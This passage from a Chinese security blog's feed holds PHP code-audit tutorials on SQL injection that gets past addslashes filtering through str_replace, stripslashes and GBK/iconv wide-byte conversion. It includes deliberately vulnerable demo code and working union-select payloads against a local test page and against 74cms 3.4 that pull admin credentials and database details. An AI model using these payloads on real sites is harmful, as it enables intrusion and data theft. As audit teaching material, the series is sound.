<h2 id="0x02_漏洞分析">0x02 漏洞分析</h2><h3 id="str_replace函数的错误使用">str_replace函数的错误使用</h3><p>第一种情况是写程序时会使用str_replace函数将参数中的单引号、括号等字符替换为空,这样在一些双条件查询的情况就会引发注入问题。缺陷代码如下:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="keyword">require_once</span>(<span class="string">'common.php'</span>);</span><br><span class="line"><span class="variable">$conn</span> = mysql_connect(<span class="string">'localhost'</span>, <span class="string">'root'</span>, <span class="string">'braid'</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'bad!'</span>);</span><br><span class="line">mysql_query(<span class="string">"SET NAMES binary'"</span>);</span><br><span class="line">mysql_select_db(<span class="string">'test'</span>, <span class="variable">$conn</span>) <span class="keyword">OR</span> emMsg(<span class="string">"数据库连接失败"</span>);</span><br><span class="line"><span class="variable">$tmp_id</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'id'</span>]) ? <span class="variable">$_GET</span>[<span class="string">'id'</span>] : <span class="number">1</span>;</span><br><span class="line"><span class="variable">$title</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'title'</span>]) ? <span class="variable">$_GET</span>[<span class="string">'title'</span>] : <span class="string">'news title'</span>;</span><br><span class="line"><span class="comment">//程序编写时直接用str_replace去掉id里的单引号</span></span><br><span class="line"><span class="variable">$id</span> = str_replace(<span class="string">"'"</span>,<span class="string">''</span>,<span class="variable">$tmp_id</span>);</span><br><span class="line"><span class="comment">//sql查询语句通过id和titile两个条件进行查询</span></span><br><span class="line"><span class="variable">$sql</span> = <span class="string">"SELECT * FROM news WHERE id='&#123;$id&#125;' and title='&#123;$title&#125;'"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$sql</span>;</span><br><span class="line"><span class="variable">$result</span> = mysql_query(<span class="variable">$sql</span>, <span class="variable">$conn</span>) <span class="keyword">or</span> <span class="keyword">die</span>(mysql_error()); </span><br><span class="line"><span class="preprocessor">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>浏览器输入”<a href="http://localhost/sqltest/streplace.php?id=1&#39;&amp;title=news" target="_blank" rel="external">http://localhost/sqltest/streplace.php?id=1&#39;&amp;title=news</a> title”,发现报错了,我们直接打印出执行的sql语句如下图:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/bypass09.jpg" alt=""><br>发现参数id右边的单引号被反斜杠转义成字符了,说明又可以注入了。<br>简单分析下上面id参数的执行过程,-1’经过addslashes函数转义后变成了-1\’,然后再经过str_replace函数干掉了单引号变成了-1\,最后带入查询的语句才是下面这样:</p>
<pre><code><span class="keyword">SELECT</span> * <span class="keyword">FROM</span> news <span class="keyword">WHERE</span> id=<span class="string">'1\'</span> <span class="keyword">and</span> title=<span class="string">'news title'</span>
</code></pre><p>反斜杠转义了sql查询语句里id后面那个单引号,导致title参数可以构造sql注入语句了,我们直接构造获取管理员账户密码的语句”<a href="http://localhost/sqltest/streplace.php?id=-1&#39;&amp;title=union" target="_blank" rel="external">http://localhost/sqltest/streplace.php?id=-1&#39;&amp;title=union</a> select 1,2,concat(name,0x23,pass) from admin%23”<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/bypass10.jpg" alt=""><br>第二种情况是str_replace函数是用户可控的,就是说用户想把啥替换成空就可以将什么替换为空。<br>首先我们先看看addslashes函数对%00-%ff的转义情况,经过fuzz发现%00会被转义为\0,如下:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/hanshu1.jpg" alt=""><br>那么注入的时候我们提交%00’,经过addlashes就会变为\0\’,这时候我们用replace函数替换0为空就变成了\‘,成功转义了转义字符让单引号逃逸出来,从而造成注入漏洞。</p>
<h3 id="stripslashes函数的错误使用">stripslashes函数的错误使用</h3><p>这个函数的定义是删除由 addslashes() 函数添加的反斜杠,所以很明显使用不当的话就会引发SQL注入。缺陷代码如下:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="keyword">require_once</span>(<span class="string">'common.php'</span>);</span><br><span class="line"><span class="variable">$conn</span> = mysql_connect(<span class="string">'localhost'</span>, <span class="string">'root'</span>, <span class="string">'braid'</span>) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">'bad!'</span>);</span><br><span class="line">mysql_query(<span class="string">"SET NAMES binary'"</span>);</span><br><span class="line">mysql_select_db(<span class="string">'test'</span>, <span class="variable">$conn</span>) <span class="keyword">OR</span> emMsg(<span class="string">"数据库连接失败"</span>);</span><br><span class="line"><span class="variable">$tmp_id</span> = <span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">'id'</span>]) ? <span class="variable">$_GET</span>[<span class="string">'id'</span>] : <span class="number">1</span>;</span><br><span class="line"><span class="variable">$id</span> = stripslashes(<span class="variable">$tmp_id</span>);</span><br><span class="line"><span class="variable">$sql</span> = <span class="string">"SELECT * FROM news WHERE id='&#123;$id&#125;'"</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$sql</span>.<span class="string">'&lt;br /&gt;'</span>;</span><br><span class="line"><span class="variable">$result</span> = mysql_query(<span class="variable">$sql</span>, <span class="variable">$conn</span>) <span class="keyword">or</span> <span class="keyword">die</span>(mysql_error()); </span><br><span class="line"><span class="preprocessor">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>浏览器输入”<a href="http://localhost/sqltest/stripslashes.php?id=-1&#39;&quot;,发现报错了,echo出执行的sql语句如下图:" target="_blank" rel="external">http://localhost/sqltest/stripslashes.php?id=-1&#39;&quot;,发现报错了,echo出执行的sql语句如下图:</a><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/bypass11.jpg" alt=""><br>分析下参数id的执行过程,-1’经过addslashes函数转义后变成了-1\’,然后再经过stripslashes函数干掉了反斜杠变成了-1’,所以又可以愉快的注入了。<br>获取管理员账户密码的语句”<a href="http://localhost/sqltest/stripslashes.php?id=-1" target="_blank" rel="external">http://localhost/sqltest/stripslashes.php?id=-1</a>‘ union select 1,2,concat(name,0x23,pass) from admin%23”<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/bypass12.jpg" alt=""></p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2016/04/29/sql5/">http://www.cnbraid.com/2016/04/29/sql5/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
<h2 id="0x01_背景">0x01 背景</h2><p>PHP程序员在开发过程中难免会使用一些字符替换函数(str_replace)、反转义函数(stripslashes),但这些函数使用位置不当就会绕过全局的防护造成SQL注入漏洞。<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/hanshu.jpg" alt=""><br>
</summary>
<category term="WEB应用漏洞" scheme="http://www.cnbraid.com/categories/WEB%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.cnbraid.com/tags/PHP/"/>
<category term="SQL注入" scheme="http://www.cnbraid.com/tags/SQL%E6%B3%A8%E5%85%A5/"/>
<category term="代码审计" scheme="http://www.cnbraid.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>【PHP代码审计】 那些年我们一起挖掘SQL注入 - 5.全局防护Bypass之宽字节注入</title>
<link href="http://www.cnbraid.com/2016/02/28/sql4/"/>
<id>http://www.cnbraid.com/2016/02/28/sql4/</id>
<published>2016-02-28T02:35:00.000Z</published>
<updated>2016-06-24T08:55:24.373Z</updated>
<content type="html"><h2 id="0x01_背景">0x01 背景</h2><p>首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:<br>1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’;<br>2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。<br>现在基本上都会将mysql的连接配置为“set character_set_client=binary”来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码转换导致的注入问题。<br><strong>漏洞来源于乌云:<a href="http://www.wooyun.org/bugs/wooyun-2014-063219" target="_blank">http://www.wooyun.org/bugs/wooyun-2014-063219</a></strong><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlbypass3.jpg" alt=""></p>
<a id="more"></a>
<h2 id="0x02_环境搭建">0x02 环境搭建</h2><p>看背景我们使用了低版本的74cms程序,版本为3.4(20140310)<br>①源码网上可以搜到,我打包了一份:<a href="http://pan.baidu.com/s/1c1mLCru" title="74cmsV3.4(20140310).zip" target="_blank" rel="external">http://pan.baidu.com/s/1c1mLCru</a><br>②解压到www的74cms(20140310)目录下,浏览器访问<a href="http://localhost/74cms(20140310" target="_blank" rel="external">http://localhost/74cms(20140310)</a>),然后按照提示一步步安装即可,安装遇到问题请自行百度或谷歌,成功后访问如下图:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql3_02.png" alt=""></p>
<h2 id="0x03_漏洞分析">0x03 漏洞分析</h2><blockquote>
<p><strong>Part1:源码结构</strong></p>
</blockquote>
<p>源码的结构比较清晰,应该是审计过最清晰的结构 了,主要有下面三块内容:</p>
<p><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql3_03.png" alt=""></p>
<p>index.php引入了common.inc.php文件,我们跟进common.inc.php,发现了处理gpc的函数:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$_GET</span>))</span><br><span class="line">&#123;</span><br><span class="line"> <span class="variable">$_GET</span> = addslashes_deep(<span class="variable">$_GET</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$_POST</span>))</span><br><span class="line">&#123;</span><br><span class="line"> <span class="variable">$_POST</span> = addslashes_deep(<span class="variable">$_POST</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$_COOKIE</span> = addslashes_deep(<span class="variable">$_COOKIE</span>);</span><br><span class="line"><span class="variable">$_REQUEST</span> = addslashes_deep(<span class="variable">$_REQUEST</span>);</span><br><span class="line"><span class="preprocessor">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>可以看到,服务端处理GET和POST请求的变量时都会做addslashes处理。<br>而且74cms为了防止宽字节注入,将MySQL连接设置为二进制读取,配置在/include/mysql.class.php中:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">connect</span><span class="params">(<span class="variable">$dbhost</span>, <span class="variable">$dbuser</span>, <span class="variable">$dbpw</span>, <span class="variable">$dbname</span> = <span class="string">''</span>, <span class="variable">$dbcharset</span> = <span class="string">'gbk'</span>, <span class="variable">$connect</span> = <span class="number">1</span>)</span></span><br><span class="line"></span>&#123;</span><br><span class="line"> <span class="variable">$func</span> = <span class="keyword">empty</span>(<span class="variable">$connect</span>) ? <span class="string">'mysql_pconnect'</span> : <span class="string">'mysql_connect'</span>;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="variable">$this</span>-&gt;linkid = @<span class="variable">$func</span>(<span class="variable">$dbhost</span>, <span class="variable">$dbuser</span>, <span class="variable">$dbpw</span>, <span class="keyword">true</span>)) &#123;</span><br><span class="line"> <span class="variable">$this</span>-&gt;dbshow(<span class="string">'Can not connect to Mysql!'</span>);</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$this</span>-&gt;dbversion() &gt; <span class="string">'4.1'</span>) &#123;</span><br><span class="line"> mysql_query(<span class="string">"SET NAMES gbk"</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$this</span>-&gt;dbversion() &gt; <span class="string">'5.0.1'</span>) &#123;</span><br><span class="line"> mysql_query(<span class="string">"SET sql_mode = ''"</span>, <span class="variable">$this</span>-&gt;linkid);</span><br><span class="line"> <span class="comment">//character_set_client=binary即二进制方式</span></span><br><span class="line"> mysql_query(<span class="string">"SET character_set_connection="</span> . <span class="variable">$dbcharset</span> . <span class="string">", character_set_results="</span> . <span class="variable">$dbcharset</span> . <span class="string">", character_set_client=binary"</span>, <span class="variable">$this</span>-&gt;linkid);</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line">...</span><br><span class="line">&#125;</span><br><span class="line"><span class="preprocessor">?&gt;</span></span><br></pre></td></tr></table></figure></p>
<p>接下来看看php中iconv函数的使用会造成什么样的后果。</p>
<blockquote>
<p><strong>Part2:审计过程</strong></p>
</blockquote>
<p>注入一分析:<br>1.在/plus/ajax_user.php注册处:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="keyword">elseif</span>(<span class="variable">$act</span> == <span class="string">'do_reg'</span>)</span><br><span class="line">&#123;</span><br><span class="line"> <span class="variable">$captcha</span> = get_cache(<span class="string">'captcha'</span>);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$captcha</span>[<span class="string">'verify_userreg'</span>] == <span class="string">"1"</span>) &#123;</span><br><span class="line"> <span class="variable">$postcaptcha</span> = <span class="variable">$_POST</span>[<span class="string">'postcaptcha'</span>];</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$captcha</span>[<span class="string">'captcha_lang'</span>] == <span class="string">"cn"</span> &amp;&amp; strcasecmp(QISHI_DBCHARSET, <span class="string">"utf8"</span>) != <span class="number">0</span>) &#123;</span><br><span class="line"> <span class="variable">$postcaptcha</span> = iconv(<span class="string">"utf-8"</span>, QISHI_DBCHARSET, <span class="variable">$postcaptcha</span>);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$postcaptcha</span>) || <span class="keyword">empty</span>(<span class="variable">$_SESSION</span>[<span class="string">'imageCaptcha_content'</span>]) || strcasecmp(<span class="variable">$_SESSION</span>[<span class="string">'imageCaptcha_content'</span>], <span class="variable">$postcaptcha</span>) != <span class="number">0</span>) &#123;</span><br><span class="line"> <span class="keyword">exit</span>(<span class="string">"err"</span>);</span><br><span class="line"> &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">require_once</span>(QISHI_ROOT_PATH . <span class="string">'include/fun_user.php'</span>);</span><br><span class="line"> <span class="variable">$username</span> = <span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'username'</span>]) ? trim(<span class="variable">$_POST</span>[<span class="string">'username'</span>]) : <span class="keyword">exit</span>(<span class="string">"err"</span>);</span><br><span class="line"> <span class="variable">$password</span> = <span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'password'</span>]) ? trim(<span class="variable">$_POST</span>[<span class="string">'password'</span>]) : <span class="keyword">exit</span>(<span class="string">"err"</span>);</span><br><span class="line"> <span class="variable">$member_type</span> = <span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'member_type'</span>]) ? intval(<span class="variable">$_POST</span>[<span class="string">'member_type'</span>]) : <span class="keyword">exit</span>(<span class="string">"err"</span>);</span><br><span class="line"> <span class="variable">$email</span> = <span class="keyword">isset</span>(<span class="variable">$_POST</span>[<span class="string">'email'</span>]) ? trim(<span class="variable">$_POST</span>[<span class="string">'email'</span>]) : <span class="keyword">exit</span>(<span class="string">"err"</span>);</span><br><span class="line"> <span class="keyword">if</span> (strcasecmp(QISHI_DBCHARSET, <span class="string">"utf8"</span>) != <span class="number">0</span>) &#123;</span><br><span class="line"> <span class="comment">//对注册的名字进行utf-8到GBK的编码转换</span></span><br><span class="line"> <span class="variable">$username</span> = iconv(<span class="string">"utf-8"</span>, QISHI_DBCHARSET, <span class="variable">$username</span>);</span><br><span class="line"> <span class="variable">$password</span> = iconv(<span class="string">"utf-8"</span>, QISHI_DBCHARSET, <span class="variable">$password</span>);</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="variable">$register</span> = user_register(<span class="variable">$username</span>, <span class="variable">$password</span>, <span class="variable">$member_type</span>, <span class="variable">$email</span>);</span><br></pre></td></tr></table></figure></p>
<p>这里我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\正好为5c。<br>所以如果我们将username设置为:錦’,首先经过addlashes函数或GPC对单引号转义变为:錦\’,然后这里注册时会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来引发注入漏洞。</p>
<p>2.我们继续跟进$register=user_register($username,$password,$member_type,$email);<br>这里的user_register函数,在/include/fun_user.php里:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//检查简历的完成程度</span></span><br><span class="line"><span class="comment">//注册会员</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">user_register</span><span class="params">(<span class="variable">$username</span>,<span class="variable">$password</span>,<span class="variable">$member_type</span>=<span class="number">0</span>,<span class="variable">$email</span>,<span class="variable">$uc_reg</span>=true)</span></span><br><span class="line"></span>&#123;</span><br><span class="line"> <span class="keyword">global</span> <span class="variable">$db</span>,<span class="variable">$timestamp</span>,<span class="variable">$_CFG</span>,<span class="variable">$online_ip</span>,<span class="variable">$QS_pwdhash</span>;</span><br><span class="line"> <span class="variable">$member_type</span>=intval(<span class="variable">$member_type</span>);</span><br><span class="line"> <span class="comment">//这里是用get_user_inusername函数来判断用户名是否已经存在,我们跟进</span></span><br><span class="line"> <span class="variable">$ck_username</span>=get_user_inusername(<span class="variable">$username</span>);</span><br><span class="line"> <span class="variable">$ck_email</span>=get_user_inemail(<span class="variable">$email</span>);</span><br><span class="line"> ... ...</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$insert_id</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>3.继续跟进get_user_inusername函数,在/include/fun_user.php里:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">get_user_inusername</span><span class="params">(<span class="variable">$username</span>)</span></span><br><span class="line"></span>&#123;</span><br><span class="line"> <span class="keyword">global</span> <span class="variable">$db</span>;</span><br><span class="line"> <span class="comment">//带入查询,可注入~</span></span><br><span class="line"> <span class="variable">$sql</span> = <span class="string">"select * from "</span>.table(<span class="string">'members'</span>).<span class="string">" where username = '&#123;$username&#125;' LIMIT 1"</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>注入二分析:<br>在plus/ajax_street.php中:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="keyword">elseif</span>(<span class="variable">$act</span> == <span class="string">'key'</span>)</span><br><span class="line">&#123;</span><br><span class="line"> <span class="variable">$key</span> = trim(<span class="variable">$_GET</span>[<span class="string">'key'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$key</span>)) &#123;</span><br><span class="line"> <span class="keyword">if</span> (strcasecmp(QISHI_DBCHARSET, <span class="string">"utf8"</span>) != <span class="number">0</span>)</span><br><span class="line"> <span class="comment">//对参数key进行utf-8到GBK编码的转换</span></span><br><span class="line"> <span class="variable">$key</span> = iconv(<span class="string">"utf-8"</span>, QISHI_DBCHARSET, <span class="variable">$key</span>);</span><br><span class="line"> <span class="comment">//带入查询,可以注入</span></span><br><span class="line"> <span class="variable">$result</span> = <span class="variable">$db</span>-&gt;query(<span class="string">"select * from "</span> . table(<span class="string">'category'</span>) . <span class="string">" where c_alias='QS_street' AND c_name LIKE '%&#123;$key&#125;%' "</span>);</span><br><span class="line"> <span class="comment">//将查询结果输出到页面中,可回显</span></span><br><span class="line"> <span class="keyword">while</span> (<span class="variable">$row</span> = <span class="variable">$db</span>-&gt;fetch_array(<span class="variable">$result</span>)) &#123;</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$listtype</span> == <span class="string">"li"</span>) &#123;</span><br><span class="line"> <span class="variable">$htm</span> .= <span class="string">"&lt;li title=\"&#123;$row['c_name']&#125;\" id=\"&#123;$row['c_id']&#125;\"&gt;&#123;$row['c_name']&#125;&lt;/li&gt;"</span>;</span><br><span class="line"> &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> <span class="variable">$_GET</span>[<span class="string">'streetid'</span>] = <span class="variable">$row</span>[<span class="string">'c_id'</span>];</span><br><span class="line"> <span class="variable">$url</span> = url_rewrite(<span class="string">'QS_street'</span>, <span class="variable">$_GET</span>);</span><br><span class="line"> <span class="variable">$htm</span> .= <span class="string">"&lt;li&gt;&lt;a href=\"&#123;$url&#125;\" title=\"&#123;$row['c_note']&#125;\" class=\"vtip\"&gt;&#123;$row['c_name']&#125;&lt;/a&gt;&lt;span&gt;&#123;$row['stat_jobs']&#125;&lt;/span&gt;&lt;/li&gt;"</span>;</span><br><span class="line"> &#125;;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">empty</span>(<span class="variable">$htm</span>)) &#123;</span><br><span class="line"> <span class="variable">$htm</span> = <span class="string">"&lt;span class=\"noinfo\"&gt;没有找到关键字: &lt;span&gt;&#123;$key&#125;&lt;/span&gt; 相关道路!&lt;/span&gt;"</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="keyword">exit</span>(<span class="variable">$htm</span>);</span><br><span class="line"> &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p>
<p>这里分析发现页面将查询结果回显出来,构造一些union的查询语句即可获取数据库的敏感信息。</p>
<h2 id="0x04_漏洞证明">0x04 漏洞证明</h2><p>我们使用注入二(有回显)的来做证明<br>发现74cms的category表有9个字段,所以构造获取数据库用户和相关信息的POC:</p>
<pre><code>http://localhost/<span class="number">74</span>cms(<span class="number">20140310</span>)/plus/ajax_street.php?act=key&amp;key=<span class="decorator">%E9</span><span class="decorator">%8C</span><span class="decorator">%A6</span><span class="decorator">%27</span><span class="decorator">%20union</span><span class="decorator">%20select</span><span class="decorator">%201</span>,<span class="number">2</span>,<span class="number">3</span>,user(),<span class="number">5</span>,<span class="number">6</span>,<span class="number">7</span>,database(),<span class="number">9</span><span class="decorator">%23</span>
</code></pre><p><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql4_01.png" alt=""><br>查看sql语句发现查询语句里反斜杠被转移,单引号成功逃逸出来:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql4_02.png" alt=""><br>最后,有兴趣的同学可以继续获取其它的管理员账户等相关字段的信息。</p>
<p>附GBK的汉字编码范围:</p>
<blockquote>
<p><strong>汉字区包括:</strong><br>a. GB 2312 汉字区。即 GBK/2: B0A1-F7FE。收录 GB 2312 汉字 6763 个,按原顺序排列。<br>b. GB 13000.1 扩充汉字区。包括:<br>(1) GBK/3: 8140-A0FE。收录 GB 13000.1 中的 CJK 汉字 6080 个。<br>(2) GBK/4: AA40-FEA0。收录 CJK 汉字和增补的汉字 8160 个。CJK 汉字在前,按 UCS 代码大小排列;增补的汉字(包括部首和构件)在后,按《康熙字典》的页码/字位排列。</p>
</blockquote>
<p>可以看到,GBK编码中的两个字符是一个汉字,第一个字符需要大于128。</p>
<p>本文由HackBraid整理总结,原文链接:<a href="http://www.cnbraid.com/2016/02/28/sql4/">http://www.cnbraid.com/2016/02/28/sql4/</a>,如需转载请联系作者。</p>
</content>
<summary type="html">
<h2 id="0x01_背景">0x01 背景</h2><p>首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:<br>1.正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \’;<br>2.但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。<br>现在基本上都会将mysql的连接配置为“set character_set_client=binary”来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码转换导致的注入问题。<br><strong>漏洞来源于乌云:<a href="http://www.wooyun.org/bugs/wooyun-2014-063219" target="_blank">http://www.wooyun.org/bugs/wooyun-2014-063219</a></strong><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlbypass3.jpg" alt=""></p>
</summary>
<category term="WEB应用漏洞" scheme="http://www.cnbraid.com/categories/WEB%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.cnbraid.com/tags/PHP/"/>
<category term="SQL注入" scheme="http://www.cnbraid.com/tags/SQL%E6%B3%A8%E5%85%A5/"/>
<category term="代码审计" scheme="http://www.cnbraid.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入</title>
<link href="http://www.cnbraid.com/2016/02/19/sql3/"/>
<id>http://www.cnbraid.com/2016/02/19/sql3/</id>
<published>2016-02-19T02:35:00.000Z</published>
<updated>2016-06-24T08:55:34.076Z</updated>
<content type="html"><h2 id="0x01_背景">0x01 背景</h2><p>现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。二次注入也是一种比较常见的注入,它涉及到入库和出库。因为有全局转义所以入库的时候:</p>
<blockquote>
<p>Insert into table (username) values (‘hack\’’);</p>
</blockquote>
<p>这样入库后转义符就会消失变成了hack’,这样如果hack’出库被带入查询的话就会成功的引入了单引号导致注入。<br><strong>漏洞来源于乌云:<a href="http://www.wooyun.org/bugs/wooyun-2014-068362" target="_blank" rel="external">http://www.wooyun.org/bugs/wooyun-2014-068362</a></strong><br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sqlbypass2.jpg" alt=""><br><a id="more"></a></p>
<h2 id="0x02_环境搭建">0x02 环境搭建</h2><p>看背景我们使用了低版本的74cms程序,版本为3.4(20140310)<br>①源码网上可以搜到,我打包了一份:<a href="http://pan.baidu.com/s/1c1mLCru" title="74cmsV3.4(20140310).zip" target="_blank" rel="external">http://pan.baidu.com/s/1c1mLCru</a><br>②解压到www的74cms(20140310)目录下,浏览器访问<a href="http://localhost/74cms(20140310" target="_blank" rel="external">http://localhost/74cms(20140310)</a>),然后按照提示一步步安装即可,安装遇到问题请自行百度或谷歌,成功后访问如下图:<br><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql3_02.png" alt=""></p>
<h2 id="0x03_漏洞分析">0x03 漏洞分析</h2><blockquote>
<p><strong>Part1:源码结构</strong></p>
</blockquote>
<p>源码的结构比较清晰,应该是审计过最清晰的结构了,主要有下面三块内容:</p>
<p><img src="http://7xk8bu.com1.z0.glb.clouddn.com/sql3_03.png" alt=""></p>
<p>index.php引入了common.inc.php文件,我们跟进common.inc.php,发现了处理gpc的函数:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="preprocessor">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$_GET</span>))</span><br><span class="line">&#123;</span><br><span class="line"> <span class="variable">$_GET</span> = addslashes_deep(<span class="variable">$_GET</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">empty</span>(<span class="variable">$_POST</span>))</span><br><span class="line">&#123;</span><br><span class="line"> <span class="variable">$_POST</span> = addslashes_deep(<span class="variable">$_POST</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$_COOKIE</span> = addslashes_deep(<span class="variable">$_COOKIE</span>);</span><br><span class="line"><span class="variable">$_REQUEST</span> = addslashes_deep(<span class="variable">$_REQUEST</span>);</span><br></pre></td></tr></table></figure></p>
<p>可以看到,服务端处理GET和POST请求的变量时都会做addslashes处理。</p>
<blockquote>
<p><strong>Part2:审计过程</strong></p>
</blockquote>
<p>1.首先在个人发布简历处:<br><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="keyword">elseif</span> (<span class="variable">$act</span> == <span class="string">'make4_save'</span>) &#123;</span><br><span class="line"> <span class="variable">$resume_education</span> = get_resume_education(<span class="variable">$_SESSION</span>[<span class="string">'uid'</span>], <span class="variable">$_REQUEST</span>[<span class="string">'pid'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (count(<span class="variable">$resume_education</span>) &gt;= <span class="number">6</span>) showmsg(<span class="string">'教育经历不能超过6条!'</span>, <span class="number">1</span>, <span class="variable">$link</span>);</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'uid'</span>] = intval(<span class="variable">$_SESSION</span>[<span class="string">'uid'</span>]);</span><br><span class="line"> <span class="variable">$setsqlarr</span>[<span class="string">'pid'</span>] = intval(<span class="variable">$_REQUEST</span>[<span class="string">'pid'</span>]);</span><br><span class="line"> <span class="keyword">if</span> (<span class="variable">$setsqlarr</span>[<span class="string">'uid'</span>] == <span class="number">0</span> || <span class="variable">$setsqlarr</span>[<span class="string">'pid'</span>] == <span class="number">0</span>) showmsg(<span class="string">'参数错误!'</span>, <span class="number">1</span>);</span><br><span class="line"> 